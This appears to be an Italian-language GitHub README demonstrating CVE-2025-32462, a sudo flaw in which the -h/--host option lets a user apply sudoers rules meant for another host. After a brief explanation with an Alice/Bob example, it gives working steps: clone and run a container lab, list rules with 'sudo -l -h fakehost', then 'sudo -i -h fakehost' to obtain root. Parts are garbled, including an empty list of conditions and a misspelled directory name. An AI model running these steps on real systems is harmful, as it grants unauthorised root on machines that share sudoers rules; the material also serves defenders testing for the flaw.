
cve-2025-32462' dimostrazione

sudo/NEWS at SUDO_1_8_8 · sudo-project/sudo · GitHub
Nel documento di sudo -h (--host) è scritto che -h può essere usato solo insieme a -l. Negli aggiornamenti successivi, sudo -h può essere utilizzato anche con -e, -i, ecc.
sudo --host(-h) <username> -l(--list)
/etc/sudoer.d viene utilizzato per visualizzare quali permessi ha un utente nel sistema. Questo permesso potrebbe essere scavalcato, consentendo a un utente di elevare i privilegi su un sistema a quelli che potrebbe avere su un altro. Ciò è particolarmente impattante per i sistemi che condividono un singolo file di configurazione sudoers tra più computer o che utilizzano directory utente basate sulla rete (come LDAP) per fornire regole sudoers di sistema.
In sintesi: l'opzione h/--host di sudo non segue il principio del minimo privilegio, non verificando i confini delle regole host in scenari non -l (come l'esecuzione di comandi). Un attaccante può configurare regole dannose nel file /etc/sudoer.d.
Colpisce principalmente i sistemi degli amministratori che utilizzano lo stesso file sudoers su più macchine.
L'attacco alla vulnerabilità richiede due condizioni:
Esempio:
Il file sudoers contiene regole che definiscono i permessi dell'utente su sistemi diversi.
Alice hostA: some Privilege
Bob hostB: some Privilege
Bob accede a hostA, poi esegue il comando sudo -h hostB commandA
git clone https://github.com/SpongeBob-369/cve-2025-32462.git
cd cve-2025-32462
chmod +x run.sh
./run.sh
# after entering the contain Ubuntu
sudo -l
# then prompt you to enter your password, but "we" don't know.
sudo -l -h fakehost # Check the permissions user ubuntu have in host named fakehost
sudo -i -h fakehost # get root